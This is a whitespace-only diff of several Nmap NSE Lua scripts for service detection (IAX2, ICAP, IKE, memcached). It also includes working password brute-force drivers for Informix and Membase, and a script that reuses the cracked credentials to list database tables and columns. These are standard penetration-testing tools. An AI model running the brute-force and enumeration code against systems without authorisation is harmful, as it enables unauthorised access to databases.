||||
end
|
||||
-- check we have enough entries
|
||||
if detail > dis_count then
|
||||
detail = dis_count
|
||||
end
|
||||
|
||||
noun = dis_count == 1 and "entry " or "entries "
|
||||
noun = dis_count == 1 and "entry " or "entries "
|
||||
|
||||
local shown = (detail == 0 or detail == dis_count)
|
||||
and "\n" or '(' .. detail .. ' shown)\n'
|
||||
local shown = (detail == 0 or detail == dis_count)
|
||||
and "\n" or '(' .. detail .. ' shown)\n'
|
||||
|
||||
return dis_count .. " disallowed " .. noun ..
|
||||
shown .. table.concat(output, ' ', 1, detail)
|
||||
return dis_count .. " disallowed " .. noun ..
|
||||
shown .. table.concat(output, ' ', 1, detail)
|
||||
end
|
||||
|
||||
@@ -24,30 +24,30 @@ categories = {"version"}
|
||||
portrule = shortport.version_port_or_service(4569, nil, "udp")
|
||||
|
||||
action = function(host, port)
|
||||
-- see http://www.cornfed.com/iax.pdf for all options.
|
||||
local poke = string.char(0x80, 0x00, 0x00, 0x00)
|
||||
poke = poke .. string.char(0x00, 0x00, 0x00, 0x00)
|
||||
poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e)
|
||||
-- see http://www.cornfed.com/iax.pdf for all options.
|
||||
local poke = string.char(0x80, 0x00, 0x00, 0x00)
|
||||
poke = poke .. string.char(0x00, 0x00, 0x00, 0x00)
|
||||
poke = poke .. string.char(0x00, 0x00, 0x06, 0x1e)
|
||||
|
||||
local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000})
|
||||
local status, recv = comm.exchange(host, port, poke, {proto=port.protocol,timeout=10000})
|
||||
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
if not status then
|
||||
return
|
||||
end
|
||||
|
||||
if (#recv) == 12 then
|
||||
local byte11 = string.format("%02X", string.byte(recv, 11))
|
||||
local byte12 = string.format("%02X", string.byte(recv, 12))
|
||||
if (#recv) == 12 then
|
||||
local byte11 = string.format("%02X", string.byte(recv, 11))
|
||||
local byte12 = string.format("%02X", string.byte(recv, 12))
|
||||
|
||||
-- byte11 must be \x06 IAX Control Frame
|
||||
-- and byte12 must be \x03 or \x04
|
||||
if ((byte11 == "06") and
|
||||
(byte12 == ("03" or "04")))
|
||||
then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
port.version.name = "iax2"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
-- byte11 must be \x06 IAX Control Frame
|
||||
-- and byte12 must be \x03 or \x04
|
||||
if ((byte11 == "06") and
|
||||
(byte12 == ("03" or "04")))
|
||||
then
|
||||
nmap.set_port_state(host, port, "open")
|
||||
port.version.name = "iax2"
|
||||
nmap.set_port_version(host, port)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -43,75 +43,75 @@ portrule = shortport.port_or_service(1344, "icap")
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
local function parseResponse(resp)
|
||||
if ( not(resp) ) then
|
||||
return
|
||||
end
|
||||
if ( not(resp) ) then
|
||||
return
|
||||
end
|
||||
|
||||
local resp_p = { header = {}, rawheader = {} }
|
||||
local resp_tbl = stdnse.strsplit("\r?\n", resp)
|
||||
local resp_p = { header = {}, rawheader = {} }
|
||||
local resp_tbl = stdnse.strsplit("\r?\n", resp)
|
||||
|
||||
if ( not(resp_tbl) or #resp_tbl == 0 ) then
|
||||
stdnse.print_debug(2, "Received an invalid response from server")
|
||||
return
|
||||
end
|
||||
if ( not(resp_tbl) or #resp_tbl == 0 ) then
|
||||
stdnse.print_debug(2, "Received an invalid response from server")
|
||||
return
|
||||
end
|
||||
|
||||
resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
|
||||
resp_p['status-line'] = resp_tbl[1]
|
||||
resp_p.status = tonumber(resp_tbl[1]:match("^ICAP/1%.0 (%d*) .*$"))
|
||||
resp_p['status-line'] = resp_tbl[1]
|
||||
|
||||
for i=2, #resp_tbl do
|
||||
local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
|
||||
if ( not(key) or not(val) ) then
|
||||
stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i])
|
||||
else
|
||||
resp_p.header[key:lower()] = val
|
||||
end
|
||||
table.insert(resp_p.rawheader, resp_tbl[i])
|
||||
end
|
||||
return resp_p
|
||||
for i=2, #resp_tbl do
|
||||
local key, val = resp_tbl[i]:match("^([^:]*):%s*(.*)$")
|
||||
if ( not(key) or not(val) ) then
|
||||
stdnse.print_debug(2, "Failed to parse header: %s", resp_tbl[i])
|
||||
else
|
||||
resp_p.header[key:lower()] = val
|
||||
end
|
||||
table.insert(resp_p.rawheader, resp_tbl[i])
|
||||
end
|
||||
return resp_p
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
|
||||
local headers = {"Service", "ISTag"}
|
||||
local probe = {
|
||||
"OPTIONS icap://%s%s ICAP/1.0",
|
||||
"Host: %s",
|
||||
"User-Agent: nmap icap-client/0.01",
|
||||
"Encapsulated: null-body=0"
|
||||
}
|
||||
local hostname = stdnse.get_hostname(host)
|
||||
local result = {}
|
||||
local services = {"/avscan", "/echo", "/srv_clamav", "/url_check", "/nmap" }
|
||||
local headers = {"Service", "ISTag"}
|
||||
local probe = {
|
||||
"OPTIONS icap://%s%s ICAP/1.0",
|
||||
"Host: %s",
|
||||
"User-Agent: nmap icap-client/0.01",
|
||||
"Encapsulated: null-body=0"
|
||||
}
|
||||
local hostname = stdnse.get_hostname(host)
|
||||
local result = {}
|
||||
|
||||
for _, service in ipairs(services) do
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
for _, service in ipairs(services) do
|
||||
local socket = nmap.new_socket()
|
||||
socket:set_timeout(5000)
|
||||
if ( not(socket:connect(host, port)) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname)
|
||||
local request = (stdnse.strjoin("\r\n", probe) .. "\r\n\r\n"):format(hostname, service, hostname)
|
||||
|
||||
if ( not(socket:send(request)) ) then
|
||||
socket:close()
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
if ( not(socket:send(request)) ) then
|
||||
socket:close()
|
||||
return fail("Failed to send request to server")
|
||||
end
|
||||
|
||||
local status, resp = socket:receive_buf("\r\n\r\n", false)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to receive response from server")
|
||||
end
|
||||
local status, resp = socket:receive_buf("\r\n\r\n", false)
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to receive response from server")
|
||||
end
|
||||
|
||||
local resp_p = parseResponse(resp)
|
||||
if ( resp_p and resp_p.status == 200 ) then
|
||||
local result_part = { name = service }
|
||||
for _, h in ipairs(headers) do
|
||||
if ( resp_p.header[h:lower()] ) then
|
||||
table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
|
||||
end
|
||||
end
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
local resp_p = parseResponse(resp)
|
||||
if ( resp_p and resp_p.status == 200 ) then
|
||||
local result_part = { name = service }
|
||||
for _, h in ipairs(headers) do
|
||||
if ( resp_p.header[h:lower()] ) then
|
||||
table.insert(result_part, ("%s: %s"):format(h, resp_p.header[h:lower()]))
|
||||
end
|
||||
end
|
||||
table.insert(result, result_part)
|
||||
end
|
||||
end
|
||||
return stdnse.format_output(true, result)
|
||||
end
|
||||
|
||||
@@ -7,7 +7,7 @@ local ike = require "ike"
|
||||
|
||||
description=[[
|
||||
|
||||
Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request.
|
||||
Obtains information (such as vendor and device type where available) from an IKE service by sending four packets to the host. This scripts tests with both Main and Aggressive Mode and sends multiple transforms per request.
|
||||
|
||||
]]
|
||||
|
||||
@@ -30,94 +30,94 @@ portrule = shortport.port_or_service(500, "isakmp", "udp")
|
||||
-- Test different methods for getting version
|
||||
--
|
||||
local function get_version(host, port)
|
||||
local packet, version, t
|
||||
local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
|
||||
local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
|
||||
local hash = {"md5", "sha1"}
|
||||
local group = {"768", "1024", "1536"}
|
||||
local packet, version, t
|
||||
local auth = {"psk", "rsa", "Hybrid", "XAUTH"}
|
||||
local encryption = {"des", "3des", "aes/128", "aes/192", "aes/256"}
|
||||
local hash = {"md5", "sha1"}
|
||||
local group = {"768", "1024", "1536"}
|
||||
|
||||
|
||||
-- generate transforms
|
||||
t = {}
|
||||
for h,a in pairs(auth) do
|
||||
for i,e in pairs(encryption) do
|
||||
for j,h in pairs(hash) do
|
||||
for k,g in pairs(group) do
|
||||
table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
-- generate transforms
|
||||
t = {}
|
||||
for h,a in pairs(auth) do
|
||||
for i,e in pairs(encryption) do
|
||||
for j,h in pairs(hash) do
|
||||
for k,g in pairs(group) do
|
||||
table.insert(t, { ['auth'] = a, ['encryption'] = e, ['hash'] = h, ['group'] = g});
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
-- try aggressive mode (diffie hellman group 2)
|
||||
local diffie = 2
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 2) failed")
|
||||
-- try aggressive mode (diffie hellman group 2)
|
||||
local diffie = 2
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 2) failed")
|
||||
|
||||
-- try aggressive mode (diffie hellman group 1)
|
||||
diffie = 1
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 1) failed")
|
||||
-- try aggressive mode (diffie hellman group 1)
|
||||
diffie = 1
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, 'vpngroup')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 1) failed")
|
||||
|
||||
-- try aggressive mode (diffie hellman group 2, no id)
|
||||
-- some checkpoint devices respond to this
|
||||
local diffie = 2
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed")
|
||||
-- try aggressive mode (diffie hellman group 2, no id)
|
||||
-- some checkpoint devices respond to this
|
||||
local diffie = 2
|
||||
stdnse.print_debug(1, "Sending Aggressive mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Aggressive', t, diffie, '')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Aggressive mode (dh 2, no id) failed")
|
||||
|
||||
-- try main mode
|
||||
stdnse.print_debug(1, "Sending Main mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Main', t, '')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Main mode failed")
|
||||
-- try main mode
|
||||
stdnse.print_debug(1, "Sending Main mode packet ...")
|
||||
packet = ike.request(port.number, port.protocol, 'Main', t, '')
|
||||
version = ike.send_request(host, port, packet)
|
||||
if version.success then
|
||||
return version
|
||||
end
|
||||
stdnse.print_debug(1, "Main mode failed")
|
||||
|
||||
stdnse.print_debug(1, "Version detection not possible")
|
||||
return false
|
||||
stdnse.print_debug(1, "Version detection not possible")
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
action = function( host, port )
|
||||
local ike_response = get_version(host, port)
|
||||
local ike_response = get_version(host, port)
|
||||
|
||||
if ike_response then
|
||||
if ike_response then
|
||||
|
||||
-- Extra information found in the response. Kept for future reference.
|
||||
-- local mode = ike_response['mode']
|
||||
-- local vids = ike_response['vids']
|
||||
-- Extra information found in the response. Kept for future reference.
|
||||
-- local mode = ike_response['mode']
|
||||
-- local vids = ike_response['vids']
|
||||
|
||||
local info = ike_response['info']
|
||||
if info.vendor ~= nil then
|
||||
port.version.product = info.vendor.vendor
|
||||
port.version.version = info.vendor.version
|
||||
port.version.ostype = info.vendor.ostype
|
||||
port.version.devicetype = info.vendor.devicetype
|
||||
table.insert(port.version.cpe, info.vendor.cpe)
|
||||
local info = ike_response['info']
|
||||
if info.vendor ~= nil then
|
||||
port.version.product = info.vendor.vendor
|
||||
port.version.version = info.vendor.version
|
||||
port.version.ostype = info.vendor.ostype
|
||||
port.version.devicetype = info.vendor.devicetype
|
||||
table.insert(port.version.cpe, info.vendor.cpe)
|
||||
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
end
|
||||
stdnse.print_debug(1, "Version: %s", port.version.product )
|
||||
return
|
||||
nmap.set_port_version(host, port, "hardmatched")
|
||||
nmap.set_port_state(host, port, "open")
|
||||
end
|
||||
end
|
||||
stdnse.print_debug(1, "Version: %s", port.version.product )
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
|
||||
@@ -43,69 +43,69 @@ portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "t
|
||||
Driver =
|
||||
{
|
||||
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port)
|
||||
local o = {}
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
o.host = host
|
||||
o.port = port
|
||||
return o
|
||||
end,
|
||||
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local status, data
|
||||
self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
|
||||
--- Connects performs protocol negotiation
|
||||
--
|
||||
-- @return true on success, false on failure
|
||||
connect = function( self )
|
||||
local status, data
|
||||
self.helper = informix.Helper:new( self.host, self.port, "on_nmap_dummy" )
|
||||
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return status, data
|
||||
end
|
||||
status, data = self.helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return status, data
|
||||
end
|
||||
|
||||
return true
|
||||
end,
|
||||
return true
|
||||
end,
|
||||
|
||||
--- Attempts to login to the Informix server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:Login( username, password, {} )
|
||||
--- Attempts to login to the Informix server
|
||||
--
|
||||
-- @param username string containing the login username
|
||||
-- @param password string containing the login password
|
||||
-- @return status, true on success, false on failure
|
||||
-- @return brute.Error object on failure
|
||||
-- brute.Account object on success
|
||||
login = function( self, username, password )
|
||||
local status, data = self.helper:Login( username, password, {} )
|
||||
|
||||
if ( status ) then
|
||||
if ( not(nmap.registry['informix-brute']) ) then
|
||||
nmap.registry['informix-brute'] = {}
|
||||
end
|
||||
table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
-- Check for account locked message
|
||||
elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( status ) then
|
||||
if ( not(nmap.registry['informix-brute']) ) then
|
||||
nmap.registry['informix-brute'] = {}
|
||||
end
|
||||
table.insert( nmap.registry['informix-brute'], { ["username"] = username, ["password"] = password } )
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
-- Check for account locked message
|
||||
elseif ( data:match("INFORMIXSERVER does not match either DBSERVERNAME or DBSERVERALIASES") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( data )
|
||||
return false, brute.Error:new( data )
|
||||
|
||||
end,
|
||||
end,
|
||||
|
||||
--- Disconnects and terminates the Informix communication
|
||||
disconnect = function( self )
|
||||
self.helper:Close()
|
||||
end,
|
||||
--- Disconnects and terminates the Informix communication
|
||||
disconnect = function( self )
|
||||
self.helper:Close()
|
||||
end,
|
||||
|
||||
}
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local status, result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
|
||||
status, result = engine:start()
|
||||
status, result = engine:start()
|
||||
|
||||
return result
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -58,63 +58,63 @@ dependencies = { "informix-brute" }
|
||||
portrule = shortport.port_or_service( { 1526, 9088, 9090, 9092 }, "informix", "tcp", "open")
|
||||
|
||||
action = function( host, port )
|
||||
local helper
|
||||
local status, data
|
||||
local result, output = {}, {}
|
||||
local user = stdnse.get_script_args('informix-tables.username')
|
||||
local pass = stdnse.get_script_args('informix-tables.password') or ""
|
||||
local query= [[
|
||||
SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
|
||||
FROM "informix".systables st, "informix".syscolumns sc
|
||||
WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
|
||||
ORDER BY table, column]]
|
||||
local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
|
||||
local helper
|
||||
local status, data
|
||||
local result, output = {}, {}
|
||||
local user = stdnse.get_script_args('informix-tables.username')
|
||||
local pass = stdnse.get_script_args('informix-tables.password') or ""
|
||||
local query= [[
|
||||
SELECT cast(tabname as char(20)) table, cast(colname as char(20)) column, cast( cast(nrows as int) as char(20)) rows
|
||||
FROM "informix".systables st, "informix".syscolumns sc
|
||||
WHERE sc.tabid = st.tabid and st.tabid > 99 and st.tabtype='T'
|
||||
ORDER BY table, column]]
|
||||
local excluded_dbs = { ["sysmaster"] = true, ["sysutils"] = true, ["sysuser"] = true, ["sysadmin"] = true }
|
||||
|
||||
-- If no user was specified lookup the first user in the registry saved by
|
||||
-- the informix-brute script
|
||||
if ( not(user) ) then
|
||||
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
|
||||
user = nmap.registry['informix-brute'][1]["username"]
|
||||
pass = nmap.registry['informix-brute'][1]["password"]
|
||||
else
|
||||
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
||||
end
|
||||
end
|
||||
-- If no user was specified lookup the first user in the registry saved by
|
||||
-- the informix-brute script
|
||||
if ( not(user) ) then
|
||||
if ( nmap.registry['informix-brute'] and nmap.registry['informix-brute'][1]["username"] ) then
|
||||
user = nmap.registry['informix-brute'][1]["username"]
|
||||
pass = nmap.registry['informix-brute'][1]["password"]
|
||||
else
|
||||
return " \n ERROR: No credentials specified (see informix-table.username and informix-table.password)"
|
||||
end
|
||||
end
|
||||
|
||||
helper = informix.Helper:new( host, port )
|
||||
helper = informix.Helper:new( host, port )
|
||||
|
||||
status, data = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(status, data)
|
||||
end
|
||||
status, data = helper:Connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(status, data)
|
||||
end
|
||||
|
||||
status, data = helper:Login(user, pass)
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
status, data = helper:Login(user, pass)
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
|
||||
local databases
|
||||
status, databases = helper:GetDatabases()
|
||||
if ( not(status) ) then
|
||||
return " \n ERROR: Failed to retrieve a list of databases"
|
||||
end
|
||||
status, databases = helper:GetDatabases()
|
||||
if ( not(status) ) then
|
||||
return " \n ERROR: Failed to retrieve a list of databases"
|
||||
end
|
||||
|
||||
for _, db in ipairs(databases) do
|
||||
if ( not( excluded_dbs[db] ) ) then
|
||||
status, data = helper:OpenDatabase(db)
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
status, data = helper:Query( query )
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
for _, db in ipairs(databases) do
|
||||
if ( not( excluded_dbs[db] ) ) then
|
||||
status, data = helper:OpenDatabase(db)
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
status, data = helper:Query( query )
|
||||
if ( not(status) ) then return stdnse.format_output(status, data) end
|
||||
|
||||
if ( status ) then
|
||||
data = informix.Util.formatTable( data[1] )
|
||||
data.name = "Results"
|
||||
table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
|
||||
table.insert(result, data )
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
if ( status ) then
|
||||
data = informix.Util.formatTable( data[1] )
|
||||
data.name = "Results"
|
||||
table.insert( result, { "User: " .. user, "Database: " .. db, name="Information" } )
|
||||
table.insert(result, data )
|
||||
end
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
helper:Close()
|
||||
helper:Close()
|
||||
|
||||
return stdnse.format_output( true, result )
|
||||
return stdnse.format_output( true, result )
|
||||
end
|
||||
|
||||
@@ -37,33 +37,33 @@ local arg_bucketname = stdnse.get_script_args(SCRIPT_NAME..".bucketname")
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, options = options }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port, options = options }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
self.helper = membase.Helper:new(self.host, self.port)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
connect = function(self)
|
||||
self.helper = membase.Helper:new(self.host, self.port)
|
||||
return self.helper:connect()
|
||||
end,
|
||||
|
||||
login = function(self, username, password)
|
||||
local status, response = self.helper:login(arg_bucketname or username, password)
|
||||
if ( not(status) and "Auth failure" == response ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( not(status) ) then
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID)
|
||||
end,
|
||||
login = function(self, username, password)
|
||||
local status, response = self.helper:login(arg_bucketname or username, password)
|
||||
if ( not(status) and "Auth failure" == response ) then
|
||||
return false, brute.Error:new( "Incorrect password" )
|
||||
elseif ( not(status) ) then
|
||||
local err = brute.Error:new( response )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
return true, brute.Account:new( arg_bucketname or username, password, creds.State.VALID)
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end
|
||||
disconnect = function(self)
|
||||
return self.helper:close()
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
@@ -71,43 +71,43 @@ Driver = {
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
local function getMechs(host, port)
|
||||
local helper = membase.Helper:new(host, port)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
local helper = membase.Helper:new(host, port)
|
||||
local status, err = helper:connect()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
|
||||
local status, response = helper:getSASLMechList()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response)
|
||||
return false, "Received unexpected response"
|
||||
end
|
||||
local status, response = helper:getSASLMechList()
|
||||
if ( not(status) ) then
|
||||
stdnse.print_debug(2, "%s: Received unexpected response: %s", SCRIPT_NAME, response)
|
||||
return false, "Received unexpected response"
|
||||
end
|
||||
|
||||
helper:close()
|
||||
return true, response.mechs
|
||||
helper:close()
|
||||
return true, response.mechs
|
||||
end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local status, mechs = getMechs(host, port)
|
||||
local status, mechs = getMechs(host, port)
|
||||
|
||||
if ( not(status) ) then
|
||||
return fail(mechs)
|
||||
end
|
||||
if ( not(mechs:match("PLAIN") ) ) then
|
||||
return fail("Unsupported SASL mechanism")
|
||||
end
|
||||
if ( not(status) ) then
|
||||
return fail(mechs)
|
||||
end
|
||||
if ( not(mechs:match("PLAIN") ) ) then
|
||||
return fail("Unsupported SASL mechanism")
|
||||
end
|
||||
|
||||
local result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
local result
|
||||
local engine = brute.Engine:new(Driver, host, port )
|
||||
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
engine.options.firstonly = true
|
||||
|
||||
if ( arg_bucketname ) then
|
||||
engine.options:setOption( "passonly", true )
|
||||
end
|
||||
if ( arg_bucketname ) then
|
||||
engine.options:setOption( "passonly", true )
|
||||
end
|
||||
|
||||
status, result = engine:start()
|
||||
return result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
@@ -39,91 +39,91 @@ portrule = shortport.port_or_service(11211, "memcached", "tcp")
|
||||
|
||||
local filter = {
|
||||
|
||||
["pid"] = { name = "Process ID" },
|
||||
["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
|
||||
["time"] = { name = "Server time", func = stdnse.format_timestamp },
|
||||
["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
|
||||
["rusage_user"] = { name = "Used CPU (user)" },
|
||||
["rusage_system"] = { name = "Used CPU (system)"},
|
||||
["curr_connections"] = { name = "Current connections"},
|
||||
["total_connections"] = { name = "Total connections"},
|
||||
["maxconns"] = { name = "Maximum connections" },
|
||||
["tcpport"] = { name = "TCP Port" },
|
||||
["udpport"] = { name = "UDP Port" },
|
||||
["auth_enabled_sasl"] = { name = "Authentication" }
|
||||
["pid"] = { name = "Process ID" },
|
||||
["uptime"] = { name = "Uptime", func = function(v) return ("%d seconds"):format(v) end },
|
||||
["time"] = { name = "Server time", func = stdnse.format_timestamp },
|
||||
["pointer_size"] = { name = "Architecture", func = function(v) return v .. " bit" end },
|
||||
["rusage_user"] = { name = "Used CPU (user)" },
|
||||
["rusage_system"] = { name = "Used CPU (system)"},
|
||||
["curr_connections"] = { name = "Current connections"},
|
||||
["total_connections"] = { name = "Total connections"},
|
||||
["maxconns"] = { name = "Maximum connections" },
|
||||
["tcpport"] = { name = "TCP Port" },
|
||||
["udpport"] = { name = "UDP Port" },
|
||||
["auth_enabled_sasl"] = { name = "Authentication" }
|
||||
|
||||
}
|
||||
|
||||
local order = {
|
||||
"pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
|
||||
"curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
|
||||
"auth_enabled_sasl"
|
||||
"pid", "uptime", "time", "pointer_size", "rusage_user", "rusage_system",
|
||||
"curr_connections", "total_connections", "maxconns", "tcpport", "udpport",
|
||||
"auth_enabled_sasl"
|
||||
}
|
||||
|
||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
local function mergetab(tab1, tab2)
|
||||
for k, v in pairs(tab2) do
|
||||
tab1[k] = v
|
||||
end
|
||||
return tab1
|
||||
for k, v in pairs(tab2) do
|
||||
tab1[k] = v
|
||||
end
|
||||
return tab1
|
||||
end
|
||||
|
||||
local function recvResponse(socket)
|
||||
local kvs = {}
|
||||
repeat
|
||||
local status, response = socket:receive_buf("\r\n", false)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
local k,v = response:match("^STAT ([^%s]*) (.*)$")
|
||||
if ( k and v ) then
|
||||
kvs[k] = v
|
||||
end
|
||||
until ( "END" == response or "ERROR" == response )
|
||||
local kvs = {}
|
||||
repeat
|
||||
local status, response = socket:receive_buf("\r\n", false)
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
local k,v = response:match("^STAT ([^%s]*) (.*)$")
|
||||
if ( k and v ) then
|
||||
kvs[k] = v
|
||||
end
|
||||
until ( "END" == response or "ERROR" == response )
|
||||
|
||||
return true, kvs
|
||||
return true, kvs
|
||||
end
|
||||
|
